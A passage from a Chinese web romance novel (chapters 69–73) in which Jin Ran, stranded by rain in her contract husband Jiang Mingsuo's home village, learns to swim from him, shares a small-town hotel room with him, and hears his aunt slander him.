沉默片刻后,他岔开话题,“你刚才说我爸会来?” “哦,那个啊,是骗他们的。”金苒眨了眨眼,笑着解释。 两家关系并不算好,来之前江明羧也多次叮嘱过,金苒只是怕他们突然发难,才故意说江明羧会来,希望让他们有所顾忌。 江许黎:“……” 除了他爸黑心眼,他觉得她也挺黑心眼的。 两人在村里待了半天时间,原本打算当天就离开,没想到午后晴朗的天气突然转阴,狂风过后,夏天的雨来势汹汹,伴随着电闪雷鸣,将这座海边小村落笼罩于朦胧的雨幕中。 于是想走也没办法走了。 好在江海阔家里房子多,收拾出来两间让他们暂时住下。 当天晚上,金苒在和江明羧通话的时候告诉了对方这件事情。 “本来打算后天就回去,看天气预报,这雨要下一周。” 江明羧在海边生活了十几年,自然知道海边雨水多:“不然我让王助理去接你们?” 金苒迟疑:“王助理还要工作吧,还是不要麻烦他了。” 虽然知道王特助工资高,但拿这样的事情麻烦对方,心里还是有些过意不去。 打工人何苦为难打工人。 江明羧便没有再说什么,安慰道:“正好趁这个机会放松一下。” 金苒望向窗外,暴雨像撒豆子似的砸在天井的水泥地上,偶尔一道闪电划过,照亮微微蹙起的眉头,她有些无奈:“雨这么大,大概只能待在屋子里。” 没想到一语成谶。 接下来的几天雨水不见停止,更甚者,出村的唯一一条陆路被冲断了,金苒不敢冒险,索性真的听江明羧的建议在平村住下,享受农家小院的慢生活。 白天的时候和江许黎双排打游戏、帮江海阔的老婆一起处理海货,晚上听着雨滴声看电影,和江明羧打电话聊天。 除此之外,王翠花那边隔三差五就要过来一趟。 也不知道发生了什么,对方突然一反常态开始对金苒示好,又送吃食又拉着她聊天,仿佛真的把她当成了亲近的侄媳妇。 金苒照单全收,不过每当对方试图说起自家过得多么不容易,而江明羧现在是大老板时,她就露出害羞的笑容:“这个我不知道呢,我们家是明羧拿主意。” “对啊,我们这样的人家,每天只需要吃吃喝喝,逛街买衣服就好了,明羧怕我累着,根本不让我费心思呢。” “为什么要让我帮大伯啊,大伯怎么了?说起来这次回来都没有见到大伯呢,是不是对我们不满啊。” 主打一个句句有回应,句句不答应。 王翠花:“……” 她狐疑地打量着眼前这个看似人畜无害的女人,却见对方一脸真诚无辜,仿佛完全不觉得自己说的话有什么问题。 就这样,再次送走无功而返的王翠花,金苒伸了个懒腰,久坐的筋骨发出轻微的抗议。 望向窗外,雨不知何时已经停了。 说起来,来到平村这么多天,她都没有好好逛一逛。江明羧不是一个话多的人,但因为最近每天晚上的聊天,她还是知道了不少关于这个村子的事,比如平村西北方的海格外蓝,比如村里有一个长得像人鱼的石头,还有果子特别甜的毛杏子。 可惜现在是夏天,毛杏早就落光了,只剩下满树的叶子,被雨水冲洗得更加青翠欲滴。 有王翠花一家人在,以后他们估计不会再回来了,这样想着,金苒突然很想去看看那些海和石头。 人有错,环境没有错,尤其江明羧提起来的时候,语气里流露出来的那点儿怀念。 他应该很想念这里吧。 或许等看过之后,可以把看到的一切讲给江明羧听,即便不回来,至少能让他通过她的眼睛,重新看看这片生活过的土地。 金苒做好决定,结果出门时才发现江许黎不知道跑哪儿去了。 她发了条消息,没等到回复,索性独自行动。 这还是这些天金苒第一次走出院子,满目青山绿水,到处郁郁葱葱,目光所及,心情都跟着好起来。 因为不清楚具体地址,只能凭借着感觉往西北方向走,沿路看到村民便打声招呼,大多数热情又真诚,忽而,余光瞥到什么,金苒猛地顿住脚步。 雨过天晴,碧蓝天空挂着一道彩虹,朦朦胧胧的水蒸气中,身姿挺拔的男人正朝她走来。 江明羧不知道什么时候到的,衬衫肩头洇着水痕,发梢也还带着湿意,正微微侧头和几个村民们说话。 似乎有所察觉,他抬起头,视线跨越人群,准确无误落到她的身上。 第70章 第70章今天你是老师,我是学生…… 金苒听到了耳边急促的心跳声。 没等反应过来,她已经抬起脚,步伐飞快地小跑着迎上去,却在仅剩两步距离的时候停下来,强压下翻涌的雀跃,对着来人仰起一个笑脸:“你怎么来了?” 语气难免惊喜。 平村的村干部看到这幅场景,笑呵呵表示:“你们先聊,江总这么多年没回来,有空可以逛逛咱们村子,变化可是大呢,要是还有什么需要帮忙的事情,尽管来找我们。” 江明羧很是客气:“麻烦了。” “哪里谈得上麻烦,江总给村子建的工厂可是让咱们平村富了起来,大家都很感激你。” 说罢识趣地带着其他人离开。 金苒眼睛不眨地看着突然出现在面前的男人。 她今天身上穿的是一件民族风编织沙滩裙。 是同江家合作的一个品牌送过来的新款,偏秀场样式,V领的弧度衬出锁骨线条,高开衩的裙摆随着海风轻晃,衬得一双长腿像白瓷器。 江明羧目光掠过,短暂地缓了一瞬,而后开口:“你不是说王助理工作忙么,所以我替他走一趟。” 他伸出手,金苒没懂得什么意思,那边的他已经稳稳扶住她的胳膊。 掌心粗糙有力,几乎承住她大半重量,低沉的嗓音透着一丝不可察觉的温柔:“小心点。” 金苒这才发现地上积了一滩水,自己刚才差点踩进去,她为自己的“走神”而感到害羞,连忙借着男人的手轻轻一跃,灵巧地跨了过去。 “谢谢。” “不客气。” 话虽如此,那只手却仍紧紧握着——不知是忘了松开还是什么,但谁都没有开口提醒。 两人走到平坦的路面。 这次江明羧终于收回手,金苒便也一副很坦然的样子,按捺不住好奇地问:“你怎么来的呀?” 她查过最近的航班,因天气原因,直达的飞机全都停飞了。 果然,江明羧回答:“坐飞机到S省,然后再开车过来。” “自己开车?”金苒微微睁大眼睛。 从S省到W市车程大概需要三小时,再加上从虞山市内到平村的路程……现在才九点,他岂不是天没亮就出发了? 江许黎“嗯”了声,无意多说。 金苒心里说不上来是什么感觉,暖洋洋,酸涩又甜蜜,总之不是什么坏心情:“那我们什么时候走,着急吗?” “不着急,有王助理在公司看着,不会有大问题。” 金苒噗嗤一笑:“倒反天罡?不知道的还以为王助理是老板,你是员工呢。” 江明羧眼中闪过一丝笑意:“这样的话,王助理应该会很乐意。” 他顿了顿,看着金苒的打扮问,“你这是…准备去海边?” “对啊,我本来打算去你说的沙滩看看呢,”金苒没有隐瞒,想起这次旅行连海水都没沾过,有些遗憾,“来之前还说要学游泳呢,现在恐怕学不成了。” 可怜她精挑细选的漂亮泳衣,连见天日的机会都没有。 正感慨着,突然听到江明羧问:“还想学吗?” “嗯?” 金苒诧异地抬起头。 什么意思? 江明羧没解释:“还想学吗,我说游泳。” 金苒眸光闪烁。想学肯定是想学的,只是……“这里没有教练,我害怕自己会沉下去。” “我可以教你。”江明羧声音低沉而笃定。 好吧,金苒承认自己心动了。她知道江明羧会游泳,没想到对方愿意亲自教自己,这样的好机会当然不会拒绝,甚至想到待会儿两人要一起游泳,她无比庆幸自己带来的泳衣还算漂亮。 毕竟和普通教练相比,现在这个教练还有另外一个身份。 “那到时候你得保护着我,我可不想被海浪卷走。”想明白之后她不再扭捏,扬起一个笑脸,语气娇俏明媚。 “好。” 江明羧目光温和,点头答应。 与此同时,蹲在某片田垄上的江许黎看到了微信提示。 他今早是被陈训良的电话吵醒的。 那家伙听说他住在村里,非闹着要看农村鸭子凫水的英姿。 江许黎不想理他,但最后还是架不住吵,打着伞出门找鸭子。 等绕着村子走了半圈,才在在一个河沟里找到鸭子,无聊地看了会儿,中途收到金苒的消息,于是果断挂断视频返回。 远远的,就看到金苒和他爸一起从院子里走出来。 父子两人打了个照面,没有像其他父子似的亲近,江许黎惊讶了一下,然后老老实实叫人。 倒是金苒走到江许黎面前,看着他沾满泥巴的鞋子,有些无语:“你去哪儿了,早上你江婶婶做了鲍鱼焖饭,我给你留了半碗。” “为什么是半碗?” 江许黎回过神,立刻发现问题——江婶婶绝对不会做出给客人吃半碗饭的事情。 闻言,金苒理直气壮:“因为另外半碗被我吃了啊,谁让你不在家。” 江许黎简直呵呵了,懒得和她争论,转而问:“什么时候去海边?” 他收到的那条消息便是问他要不要一起去海边。 谁知听到这句话,方才还嚣张的金苒莫名尴尬咳了咳,漂亮的杏眼转来转去:“嗯,那个啊,下次有机会吧。” 见此情形,江许黎眯起眼睛。 不对劲。 虽然不知道具体发生了什么,但以他对金苒的了解,这完全是心虚的表现,他嘴唇嗫嚅想再说什么,一旁的江明羧突然出声打断:“今天下午走,你先去收拾一下行李。” 江许黎:“?” 合着只有他一个人有行李是吧。 但江明羧的话摆明了不会带他,江许黎气得猛地从台阶上站起来,扭头就往自己的房间走。 不去就不去,神神秘秘的,谁稀罕知道似的! 望着少年的背影,站在原地的金苒有点儿愧疚,犹豫道:“要不然,我们带着他去吧?” 江明羧很是从容:“如果你不介意他看到你学习游泳的样子,我无所谓。” “那算了。”金苒立刻改口。 她这个人有点爱面子,一点儿也不想让江许黎看见自己套着游泳圈、在水里扑腾的狼狈模样。 平村属于沿海小渔村,三面临海,背靠一座蜿蜒的“虞山”,说是山,海拔只有一百多米,金苒跟着江明羧走过一条长长的山路,又顺地势往下,五六分钟就来到了那片西北角的沙滩。 这边是自然野生海域,但海水不深,安全性高,属于可游泳海域。 金苒亲眼见到后才知道江明羧所言不虚——海水蓝得透亮,近处清浅如琉璃,远处渐 深,与天色融成一片。 可比那些网红沙滩好看多了。 下水的时候,动作小心再小心。 她不会游泳,所以在腰间套了一个火烈鸟的游泳圈,浮力让人可以漂在水面,当然他们只在浅水区活动,不会有什么危险。 “今天你是老师,我是学生。” 金苒望着沙滩上衣着整齐的男人,半点没有拉对方来海边的愧疚,反而笑盈盈地问:“江老师准备怎么教,不下水也能教游泳吗?” 脑海中浮现西装革履的江明羧湿身教课,衬衫紧紧贴在身上,咳,她倒是也不介意。 江明羧何等聪明,轻而易举看穿了小九九,目光沉了沉。 不过到底要让某些人失望了,下一秒,他抬手去解身上的衬衫。 一颗,两颗……衣襟朝着两侧散开,露出麦色的皮肤和深邃的锁骨,男人动作不急不慢,仿佛在做什么稀松平常的事情,金苒却莫名觉得这幅画面觉得有些性感,本能地想要移开目光。 临到头硬生生忍住了,目光直直地盯着,好似这样才能让自己不露怯。 见状,江明羧嘴角不可察觉地翘了翘。 白色衬衫的纽扣从领口开始逐一挣脱束缚,阳光穿过逐渐敞开的衣襟,修长的手指在皮肤上投下阴影,直到腰间的皮带。 等等! 金苒不敢置信地屏住呼吸。 难道他要…… 哗啦! 江明羧突然松开手,大步走进海中,浪花飞溅间,金苒的游泳圈被水流带得转了个圈。 没等被浪卷走,便被人从后面拉回来,海水升高,瞬间没过胸膛,湿透的裤子变得紧贴在肌肉轮廓上。 他一把扣住她乱晃的手腕,另一只手稳稳托住后腰。 “专心。“低沉的嗓音混着潮汐声钻进耳朵,呼吸扫过耳尖,笑意中带着点儿恶趣味,“毕竟,老师只喜欢聪明的学生。” / 金苒没想到,说教游泳便真的只教游泳。 什么暧昧,什么亲昵,眨眼间在一次一次呛水中烟消云散。 不过江明羧的水平还是很厉害的。 针对姿势和力度,细节讲解到位,半个小时后,连金苒这样的旱鸭子都勉强能够狗刨似的游出五米距离。 这可把她高兴坏了,想着回去之后或许可以办个游泳卡,听说游泳可以塑形,自此她的健身项目又多了一样呢。 接到电话的江海阔急匆匆从工厂赶了回来。 他在虞山开了家海产品加工厂,虽说赚得比不上江明羧,但在当地也算排得上号。 大男人见面,没有那些矫情的内容,江海阔很是感慨地拍拍幼时发小的肩膀:“咱们多少年没见了,你真是一点样子都没变啊。” 老友重逢,便是江明羧也明显松弛了许多。之前的衣服自然是不能穿了,所以他换了身衣服,金苒看着有些眼熟,这不是上次她给他买的那件防晒衫? “五年了。” 江明羧笑道,目光打量江海阔几眼,补了句,“你晒得比以前黑,看起来像五十。” 江海阔哈哈大笑,这熟悉的毒舌让他瞬间找回当年的感觉:“你懂什么,这叫男人味,要我说你天天坐办公室,捂得跟小白脸似的,嫂子不嫌弃?” 于是视线便转到金苒这儿。 出门在外,金苒还是很给男人面子的,态度大大方方:“没事,我就喜欢小白脸。” 何况她可是见过、甚至亲自摸过男人衣服下的身材,肌肉遒劲有力,和“小白脸”可没有半分关系。 闻言,江明羧勾起嘴角。 见好友这副样子,江海阔故作牙酸地摆手:“行行行,欺负我老婆不在是吧。” 他老婆要是在这,肯定夸他更胜一筹。 ——江海阔摸着胡子拉碴的下巴,肯定以及确定地想着。 成年人的相聚总是短暂的。 中午吃过一顿饭,下午三点,三人收拾好行李准备离开。 中间有一个小插曲,金苒一路走一路买,行李箱比来的时候更加满,以至于许多东西放不下,便拿出十分之一贿赂江许黎让其帮忙。 江许黎狮子大开口伸出五根手指。 金苒不愿意,两人讨价还价,叽叽喳喳的声音遮过了树上的蝉鸣。 江明羧从屋里走出来,看了江海阔一眼。 过了会儿,屋外的大杨树下,江海阔点了两支烟,一支递给江明羧,自己含了一支深深吸了一口:“前段时间,大概是两个月前,林荷回来了一次,后来你大伯就出门了。” 他对当年的事并不完全清楚,只事后江家到处散布谣言,说是江明羧嫌弃林荷才离的婚。 但他了解江明羧的为人——若真是那种势利眼,他这兄弟被江家设计时,大可以直接撇清关系,根本不会认下这桩婚事。 江明羧动作一顿。 “我听说她最近闹着要离婚,现在突然找上门,怕是有什么打算。” “什么打算?” “无非是想复婚吧,不过你现在已经再婚,她注定白费心思。倒是小黎这次回来,是不是要去找她?” 江明羧沉默片刻。 这些年他其实并没有关注过林荷的消息,如今骤然从旁人那听到,心里也掀不起什么波澜。 只最后一句,他捻灭烟头:“让他去吧,亲眼看了才会死心。”【你现在阅读的是 】 70-80 第71章 第71章这张床挺大的,我可以分…… 等王翠花听到消息,匆匆赶过来的时候,江明羧三人已经离开平村。 连绵暴雨,路不好走,车子便开的有些缓慢。 抵达镇上时,已是下午四点。金苒本以为会直接前去机场,没想到江明羧说再留两天。 “有点儿事情要处理。” 闻言,金苒心里有所猜测,但她没有说什么,而是爽快地答应下来。 三人先在小县城找了一处酒店住下。 说是酒店,其实属于宾馆,环境完全比不上之前住过的地方。 推开门,扑面而来的是木头受潮的霉味,混合着劣质清洁剂的气息,让人仿佛闯进旧仓库。房间只有十几平米,中间放置着一张双人床,两套桌椅,洗手间是最老式的淋浴头,唯一的好处,大概就是干净了。 而这,已经是附近最贵的一家宾馆。 江明羧皱起眉头,看样子也没有料到会是这样的环境。 大概觉得他们气质不凡,不像是普通人,老板好脾气解释了几句:“我们这儿的条件就这样,想住好些的酒店,得去虞山市里。” 那样一来,车程至少还要一个小时。 金苒考虑到江明羧已经连开五个小时的车子,在平村时又忙着教自己游泳,中间完全没有休息时间,实在不敢再让他疲劳驾驶,不由得开口:“其实……我觉得还可以。” 话音刚落,另外两个人的目光瞬间移过来。 金苒顿了顿,依旧坚持自己的说辞:“今天大家都累了,不如早点儿休息,至于环境,我看这里挺干净的,反正就住一晚上的时间,没什么可挑剔的。” 三人中,江明羧是从虞山出去的,年轻时吃过许多苦,后来创办明技科技,时常各国给地的出差,偶尔条件比这还要差。 江许黎却是有点儿嫌弃,但少年秉持着他爸能吃的苦他都能吃,也没有说什么。 之所以犹豫,大概是因为同行的队伍里还有自己。 听到金苒的话,江明羧定定地看着她:“虞山有一个房子,我们可以去那里。” “不要。”金苒态度坚决,趁着没人注意,她悄悄拉住江明羧的手腕,撒娇似的晃了晃,“那房子很久没人住了,我们过去肯定还要打扫,我现在感觉好累啊,只想睡觉,就在这休息吧。” 江明羧被她晃得袖子都歪了,伸手整理平整,无奈点头:“好吧。” 金苒笑起来。 转头拉着江许黎去车子里搬行李。 行李有点多,好在金苒不是什么手无缚鸡之力的小女生,上辈子她大学期间可以徒手搬行李箱上六楼,这点重量对她来说不算什么。 刚把一众东西从后备箱拎下来,转过头,却看见江许黎已经一手一个提着两个大箱子大步往前走,修长的背影在傍晚的余韵中显得格外挺拔,如青竹傲立。 对上金苒诧异的视线,少年故意皱着眉头嫌弃:“慢死了!” 金苒忍不住翻了个白眼。 真是死鸭子嘴硬。 剩下的行李被江明羧揽下,人生第一次两手空空,好不清闲自在。 房间在二楼,等所有的行李搬完,江明羧出去找地方停车,金 苒则跟着上楼,然后后知后觉发现一个问题。 前台只给他们开了两间房。 不仅如此,最近虞山游客暴增,连他们这样的小宾馆都一房难求。眼下这两间房,是因为有人临时退订才空出来的。 被询问的时候,前台还有些奇怪,他们一家三口,明明两个房间就够了啊。 金苒没有办法解释。 总不能说,她和江明羧是协议结婚从来没有睡过一张床吧? 他们一共三个人,两男一女,金苒的第一反应就是江许黎和江明羧父子俩住一间,她自己睡的单人间。 哪知她还没有说话,江许黎已经飞速推着自己的行李进了隔壁。 在他看来,一个是亲爸,一个是后妈,两人正二八经的夫妻关系,不管在家中怎么样,出门在外肯定要睡同一间房。 金苒:“……” 一步慢,步步慢。 事到如今,总不能把人拉出来,她内心叹了口气,表面装作若无其事推开门走进去,双人间是一张大床房,靠着窗户,腥湿的海风吹进来,空气的潮度像薄膜似的黏连这皮肤。 金苒目光不自觉地落在那张大床上,又飞快移开,饶是如此,耳根也有些发烫。 只有一张床的话,那他们今晚要睡在一起吗? 金苒倒不是排斥,男女之间的暧昧本来就是一场你来我往的试探,言语间的进退拉扯反而更添情趣。 但若一个男人始终只停留在口头撩拨,她怕是早将人踹开了——连实际行动都不敢,不是怂就是不行。 何况那晚醉酒后,他们早已越过了那道无形的界限。 事后回想起来,金苒不仅没有后悔,甚至隐隐有些满意。 既然已经走到这一步,自然不抗拒更进一步。 金苒理清各种思绪,抬脚走进去,不小心磕碰到床角——心理准备归心理准备,突然要同床共枕,还是有点儿小紧张。 正在这时,身后传来开门的声音,江明羧从外面走进来。 金苒眼疾手快拿起桌上的虞山宣传册翻看,视线看似专注地停留在彩页上,余光却始终追随着江明羧的身影,见他换下皮鞋,打开行李箱,从中拿出换洗衣物走进浴室。 水声响起来,淅淅沥沥的,不到十分钟男人又走了出来,发梢还滴着水,他随意地用毛巾擦拭着,带出一阵清爽的沐浴露香气。 彼时金苒已经坐在自己那半床边,宣传册子换成了手机,搞笑博主的奇葩笑声从听筒里传出,安静的房间充斥着不真切的热闹。 一双美眸目不转睛,好似很是沉迷,上半身斜倚着枕头,白色睡裙的领口微敞,露出一截如玉的颈线,碎发垂落在锁骨凹陷处,随着呼吸轻轻起伏。 如果忽略拘谨地蜷在床铺的一侧,几乎快要掉下去的姿势,勉强算是放松。 见状,江明羧眼角流露出点儿笑意,他主动开口道:“离晚饭还有段时间,要不要先休息会儿?”说着指了指沙发,“你睡床,我在这儿将就一下就行。” 满脑袋胡思乱想的金苒闻言怔住了。 她没想到江明羧会这样提议。 可她居然一点儿不觉得意外,好似潜意识里对方便是会这样做的一个人,且因为江明羧的克制,金苒觉得这个男人非常绅士,本就有几分的好感,此刻如咕噜咕噜的气泡水,印象更佳了。 在商场上叱咤风云、说一不二的人,私下却能做到知礼有礼,尊重女性,这才是真正难得的魅力。 也是如此,当她顺着他的手指望过去,看到那张只有一米二长度的沙发,躺个孩子都有些勉强,更不用一个一米八几的成年男人。 “要不还是一起睡床吧。” 她终是选择从心开口,视线瞥向其他方向,眨眼的时候,卷翘的睫毛像小扇子密密匝匝,“我说真的,这张床挺大的,我可以分你一半。” 江明羧一顿,静静抬起眼眸。 话说出口,接下来的一切都变得容易起来,金苒很是落落大方地露出一个笑容:“你不是说还有事情要办吗?要是在沙发上落了枕,说不定会耽误事情,我的驾照还没有考下来呢,小黎也只会开摩托车,要是你不舒服,咱们就没办法走了。” 江明羧捏了捏眉头,语气听不出喜怒:“你想的挺全面。” “那当然了。”金苒全当是夸赞,甚至越说越觉得有道理,开玩笑道,“你要是迟迟回不去,小心王助理谋权篡位!” “好吧,这个理由说服了我。” 江明羧无奈地从沙发上站起来,他是男人,在两.性.关系中处于优势,所以会主动避让。 但金苒都不介意,他也没必要坚持去挤沙发,放下擦完头发的浴巾,走到双人床的另外一边。 连环转了一天半的时间,江明羧的确有些累了,之前是一直强撑着,这会儿没有旁的事情,脸上的疲惫掩饰不住地流露出来。 床铺的舒适度确实比沙发要高得多,他在另一侧合衣躺下时,高大的身躯让柔软的床垫微微下陷,连带金苒也跟着往下陷了点儿。 两人之间保持着恰到好处的距离,既不会太近显得暧昧,也不会太远显得刻意。 金苒悄悄动了动有些发麻的双腿,鼻尖萦绕着另一个人的气息,请冽泠泠,让她身体不自觉紧绷:“提前提醒你一句,我的睡姿不好,说不定会把你踹下床。” 半晌,没有得到回应,侧头看过去,江明羧已经合着眼,呼吸平稳绵长。 “……” 金苒闭上了嘴,盯着男人那张优秀的脸看了一会儿。 目光从他微蹙的眉头滑到略显疲惫的侧脸,最终还是轻叹一声,动作极轻地将旁边的被子拉过来,小心翼翼地盖在对方身上。 算了,看在他千里迢迢来接他们的份上,自己就大发慈悲,不踢他下床了。 第72章 第72章你现在走,还来得及…… 金苒是被饿醒的。 睁开眼时,暮色已经爬满了整个房间,她摸索着点亮手机屏幕,显示七点半,怪不得梦里都是王厨做饭的香味。 房间里出奇安静,只有海风卷着窗帘拍打玻璃的声响,她转头看向床的另一侧,江明羧依然保持着入睡时的姿势,连翻身都不曾有过,眉头微蹙,好似有什么解不开的结。 金苒原本想叫醒他,见状又打消了念头。 她轻手轻脚地起身,先是关上了被海风撞得砰砰作响的窗户,随后蹑手蹑脚走进洗手间,换好衣服后独自离开。 隔壁,听到动静的江许黎立刻走出来,先看了一眼她的的身后:“我爸呢?” 金苒带上房门,用气音小声说:“还在睡,我看他太累了就没有叫醒他,等会儿我们带点儿吃的就行。” 江许黎没有意见。 他也看出来他爸很累的样子。 两人一前一后走出宾馆。 离平村最近的这个镇叫西海镇,因为位于大海的西侧,故此得到名字。 小城镇的夜晚比不上大城市灯火通明,但有它独特的热闹,街边拉着灯泡线,摆着木头桌椅,三三两两的人群坐在那,撸串喝酒,再点评一下家事国事,气氛到了声音嘹亮传出几条街道。 大晚上,实在不好再吃些油腻的食物,金苒便和江许黎进了一家面馆。 点了两碗拉面,吹着电风扇吃得出了一身汗,江许黎大概是真的饿了,吃完拉面后觉得不饱,于是又点了一碗炒饭。 金苒则是有些后悔喝汤面。 这么一会儿的功夫,后背便有些湿淋淋的,呼吸仿佛闷在笼罩里面,让人喘不上气。见江许黎一时半会吃不完,她索性放下筷子出去透气,临走前不忘嘱咐对方打包一份炒饭。 汤面带着汤汁不好带,时间久了还会坨成一块,相比之下,炒饭就方便多了。 江许黎点头,想了想说:“别走太远,等会儿找不到。” “知道了,怎么比你爸还啰嗦啊。” 江许黎:“……” 气成河豚。 逗玩怒鼓鼓的高中生,金苒离开面馆,下过雨的室外比室内清凉,迎面冷风一吹,整个人都活了过来。 她并没有目的地,便在附近随意闲逛,路两旁尽是纳凉的人群和热闹的夜市摊,根本不用担心安全问题。偶尔有人和她打招呼,每到这个时候,金苒也笑着摆摆手,在这夏夜里,素不相识的人们交换着简单的温暖。 王翠花拿着东西从药店出来。 林荷那个贱人,真是让人生气,上次说好一起合作要挟江明羧,谁知道等她过去,对方忽然改口,不仅不承认说过的话,甚至还狮子大开口,向她索要两万块钱的封口费。 王翠花当然不愿意。 林荷便嚷嚷要把事情的真相全部捅到江明羧那儿,当年的事情是双方狼狈为奸,王翠花一听就慌了神,后面同样口无遮拦,大骂要不是她嫌贫爱富跑了,江明羧哪里会打压他们。 旁的不说,别以为她不知道江海阔那个海产品加工厂是江明羧帮忙办起来的,平村的其他村民都能进去干活,偏偏就他们家不行。 这样想的王翠花下意识忽略了,他们一家人自诩身份,不愿给人打工的事情。 狗咬狗,一嘴毛,又深知彼此的底细,句句戳中了心窝子,毫无疑问,两个女人最终扭打起来。 王翠花年轻时候也是个打架好手,奈何年纪大了,力不从心,一个没注意就被林荷扯下来一大片头发。 /:. 这不,只能惨兮兮来药店买药膏。 可她没想到,会遇见“早就离开”的金苒。 想到林荷那边的情况,王翠花眼珠子转了转,突然计上心来。 …… 宾馆门口,金苒诧异地看着出现在面前的王翠花,心思微微一动,不过面上没有表露出来:“大伯娘?您怎么来镇上了?” 王翠花笑呵呵:“我来镇上买点东西,你们不是说要走吗?咋还在这儿呢?” “航班取消了,改到明天。”金苒笑了笑,“早知道您也要来镇上,就该让您搭我们的车一起来的。” 王翠花下意识打了一个哆嗦,随即小心翼翼打探:“明羧也在?” “在呢,”金苒脸上露出歉意,“只是他太累已经休息了,今天恐怕不方便见您。” “没事没事。” 王翠花连连摆手。 江明羧不在才好呢,要是对方在,某些事情反而不好做了。 这样想着,她故意露出为难的表情,欲言又止道:“有件事,不知道该不该说和侄媳妇你说。” 若是旁人,或许真会被她这副作态给唬住。 可惜金苒从一开始就抱着警惕的态度,这会儿看到王翠花的样子,心里反倒生出一种“果然来了”的预感,挑了挑眉,柔声细语道:“既然不该说那就别说了。” 王翠花一噎,她本想拿捏对方,结果反被将了一军:“……其实我今天来镇上,是为了看许黎妈妈。” 闻言,金苒诧异地抬起头。 江许黎的亲生母亲,那个从来没有听过的江明羧的前妻? 她的确有些好奇,甚至从江家父子俩的态度中,察觉到其中大概有什么事情,才会形成现在的局面。 不过她仍旧没有主动开口。 因为好奇是人之常情,但随意打探就有些不合时宜了,不说她和江明羧尚且处于暧昧阶段,即便是关系亲密的夫妻,想要长久,也需要对彼此过往留有空间。 怕金苒再次语出惊人,王翠花干脆自说自话起来:“这些年许黎妈妈过的很不好,说到底都是我们江家亏欠了她,好好一个姑娘家,被男人打离婚不说,还落得个净身出户,现在只能靠摆摊卖油条豆浆过活。" 她偷瞄着金苒的反应,见她皱起眉头,心下一喜:“上回见着侄媳妇我就纳闷,你这么标致的小姑娘,怎么就跟了明羧呢?” “什么意思?” “哎!明羧虽然是我侄子,但他可不是什么好人。你不知道,他从小就不学好,整天和街上的混混称兄道弟,打架斗殴更是家常便饭,还差点把人打死,十几年前的纵火案有印象吗?当时明羧被警察抓去关了好几天呢!” “可再坏,也是我们江家的孩子,总不能不闻不问,我和他大伯原想着成家后能收敛些,就给他娶了老婆,谁知道他连自己媳妇都打,林荷就是被他打跑的……” 王翠花越说越起劲,在她口中,江明羧简直是个十恶不赦的混球。 而她是出于好心,站在道德的高峰选择大义灭亲。 金苒不自觉地攥紧了拳头。 那一刻,她心里想的是——原来这就是江明羧的亲人。 诋毁他,中伤他,恨不得让所有人远离他的“亲人”。 金苒自诩是个好脾气,轻易不会和旁人生气,可现在,她感觉自己胸膛里像是关押了一只小兽,横冲直撞,撞得五脏六腑都燃起熊熊怒火。 曾经的疑惑一一得到了解释。 怪不得从来没有老家的亲戚上门,怪不得别墅的佣人对那位前妻讳莫如深——大伯给侄子娶老婆?怎么娶?如何娶? 尽管许多事情她并不清楚内幕,但她相信江明羧的为人。 他不是那种打女人的男人。 深吸一口气,金苒勉强压下翻滚的情绪。趁王翠花不注意的时候,她悄无声息按下手机录音。 面上露出诧异又生气的神色:“你胡说,明羧不是那样的人!” 王翠花:“哎哟,我可没有瞎说,明羧现在有钱有势,整治人的手段狠着呢,连亲大伯都被他关进局子里!” 原来还有这么一条插曲。 金苒心中冷笑,继续引导着她说出更多的“污蔑”,确认证据足够充足后,懒得再看对方的嘴脸,语气生硬道:“我还有事,先走了。” 另一边,王翠花没反应过来,就见金苒已经转身离开,只得冲着她的背影喊道:“你可得好好想想我今天说的话,都是为你好!” 前方,金苒越走越快,越走越快,最后直接跑了起来。 风吹拂在脸上,像刀子似的划破皮肤,她感觉似乎有一条隐形的绸带,在紧紧扼住了自己的脖子,几乎快要窒息。 为你好。 好一个为你好。 或许那些施加在江明羧身上的种种,也是打着“为你好”的旗帜大行其道。 金苒只觉得荒谬。 她想起了上辈子的父母,那些争吵时为她好的推脱。 开工厂是为了让她过上好日子。 盲目投资是为了让她上好学校。 所以最后投资失败,工厂倒闭,坚决不离婚也是因为为她好。 他们难道以为亲情能够掩盖掉所有的恶意吧? 不会的。 至少在金苒这里,绝对不会。 喉咙因为运动而变得干涩酸疼,不知道跑出去多远距离,金苒终于停下脚步,人也逐渐冷静下来。 何必为了其他人而让自己内耗,别人如何她管不了,自己坚持本心便好了。 这个时候,金苒想起还在面馆的江许黎,于是准备原路返回,却在转身之际猛地看到了站在树下抽烟的江明羧。 猩红的一点,于夜色中明明灭灭,映照出男人轮廓分明的侧脸。 金苒下意识攥紧了手中的录音笔,那股子刚刚压下的酸意再次漫上来。 不知道是为他,还是为自己。 亦或者两者都有。 几秒钟后,她抬脚朝他走过去。 江明羧一眨不眨,定定地注视着她。 自始至终他都没有挪动脚步,后背靠在树干上,指间烟丝缭绕,姿势随意不羁,和平日西装革履的正经模样完全不同,但又仿佛这才是他最真实样子。 金苒本想再靠近一点儿,鼻尖闻到了刺鼻的烟味,忍不住站定脚步。 “你什么时候醒的,要吃晚饭吗?我让小黎给你打包了炒饭,或者你想吃其他东西也可以。”她像往常似的和他说话。 江明羧却打断她,声音带着香烟的沙哑:“你刚 才都听到了。” 金苒一顿,问:“什么?” 他嗤笑一声,语气竟有些自嘲:“我那个大伯娘说的话,你都听到了吧。” “我不相信她说的。”金苒摇摇头,语气认真。 是不相信还是不在意? 江明羧很聪明,甚至算得上足智多妖,否则当年不会短短两年时间考上大学,又用两年时间修完大学四年课程,后面余出大量空闲时间创业。 然而这会儿,一个简简单单的问题都让他感到疲惫。 他不愿去想,只弹了弹指尖的烟,火点落地化为灰烬:“她说的不错,我不算什么好人,所以……” 他转头看向她,眸光深沉,晦涩不明:“你现在走,还来得及。” 第73章 第73章迎着他的手,轻轻蹭了蹭…… 金苒很想问,走去哪儿。 转念想到江明羧知道她不是“金苒”,或者说,不是那个当初和他协议联姻的金家二小姐。 这样一来就很好理解了,她不是“金苒”,那当初的协议婚姻便不算数,如果她现在反悔了,一切还来得及停下。 而他可以大方地当做之前的事情没有发生,她依然能够顶着“江太太”的头衔,挥霍夫妻共同财产,只是也仅此而已,两人之间不会再有任何逾越界限的可能。 不得不说,放在一个月,不,半个月前,金苒都会毫不犹豫的答应下来。 甚至于现在,她也是心动的。 可心动的同时,看着男人那副“给你选择”的姿态,金苒发现自己更加生气。 不知哪家的摊子落了灯,视线陷入黑暗,长街的鹅卵石暗淡无光。 